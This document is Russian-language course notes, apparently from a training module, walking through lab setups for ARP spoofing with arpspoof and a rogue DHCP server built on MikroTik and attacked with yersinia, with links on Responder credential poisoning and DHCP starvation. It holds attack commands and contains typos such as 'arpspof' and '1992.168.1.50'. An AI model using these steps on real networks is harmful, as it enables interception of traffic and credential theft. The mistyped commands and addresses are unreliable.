---
# System prepended metadata

title: MITM (ARP Spoofing / DHCP Rogue Server)
tags: [1 модуль, Cyber Infrastructure Threats]

---

# MITM (ARP Spoofing / DHCP Rogue Server)


#### 1. ARP Spoofing

> nano/etc/sysctl.conf
> net.ipv4.ip_forward=1
> sysctl -p

Отсканировать сеть и ОС найденной машины
> arp-scan -I eth0 -I eth0 192.168.1.0/24
> nmap 192.168.xxx.xxx
> nmap 192.168.xxx.xxx -O

> arpspof -i eth0 -r 192.168.xxx.xxx -t 192.168.xxx.xxx
>
> -i - интерфейс
> -r - IP машины на которую нацелена атака
> -t - шлюз

[Руководство по arpspoof](https://kali.tools/?p=220)

[Фильтры Wireshark](https://networkguru.ru/wireshark-filtr-po-ip-portu-protokolu-mac/)
[Фильтры Wireshark](https://hackware.ru/?p=7008)


#### 2. DHCP Rogue Server

Настройки mikrotik
> system identity set name=DHCP
> export
> ip dhcp-client remove numbers=0
> ip address add interface=ether1 address=192.168.1.251/24
> 
> Чтобы удалить IP адреса
> ip address print
> ip address remove numbers=0


Настройки DHCP

> Установить WinBox и включить legacy mod
> Ввести адрес 192.168.1.251, Login - admin -> Connect
> И так же на fake-DHCP
> 
> Далее, отключить DHCP на файрволе -> services > DHCP server -> Enable DHCP server on LAN interface
> 
> В WinBox настроить пул -> IP -> Pool, Name - DHCP-Pool, Addresses - 192.168.1.10-1992.168.1.50
> 
> В WinBox настроить DHCP Server и включить
> `Address - 192.168.1.0/24, Gateway - 192.168.1.1, Netmask - 24, DNS - 8.8.8.8`

> Перезапустить сеть на машине, после этого во вкладке Leases должен появиться клиент


Настройка fake-DHCP

> В WinBox настроить пул -> IP -> Pool, Name - DHCP-Pool, Addresses - 192.168.2.10-1992.168.2.50
> 
> В WinBox настроить DHCP Server и включить
> `Address - 192.168.2.0/24, Gateway - 192.168.2.254, Netmask - 24, DNS - 8.8.8.8`


Настройка Kali

> Прописать статику
> 
> Прописать nameserver 8.8.8.8 в resolf.conf
> 
> Установить yersinia - apt install yersinia
> 
> Для скана - `nmap -n --script=broadcast-dhcp-discover`
> 
> Узнать MAC DHCP - `arp -a`

> Запустить yersinia в граф.интерфейсе - `yersinia -G`
> 
> Вписать destination MAC -> Вкладка DHCP -> Edit mode (после записи MAC, отключить Edit mode)
> 
> Тест атаки -> Launch attack -> DHCP -> sending DISCOVER packet -> OK
> 
> На сервере с DHCP должны появиться результаты


[Атаки на сетевое оборудование с Kali Linux](https://habr.com/ru/post/326968/)

[Описание Responder](https://kali.tools/?p=1679)

[LLMNR & NBT-NS Poisoning and Credential Access using Responder](https://www.cynet.com/attack-techniques-hands-on/llmnr-nbt-ns-poisoning-and-credential-access-using-responder/)

[YERSINIA. СОЗДАНИЕ ПОДДЕЛЬНОГО DHCP (ROGUE DHCP) СЕРВЕРА](https://blackdiver.net/it/linux/4029)

[DOS АТАКА НА DHCP СЕРВЕР. DHCP STARVATION](https://blackdiver.net/it/linux/4031)

[YERSINIA. DHCP RELEASE – КАК ЗАСТАВИТЬ КЛИЕНТОВ ПЕРЕПОЛУЧИТЬ DHCP АДРЕСА](https://blackdiver.net/it/linux/4082)


###### tags: `Cyber Infrastructure Threats`, `1 модуль`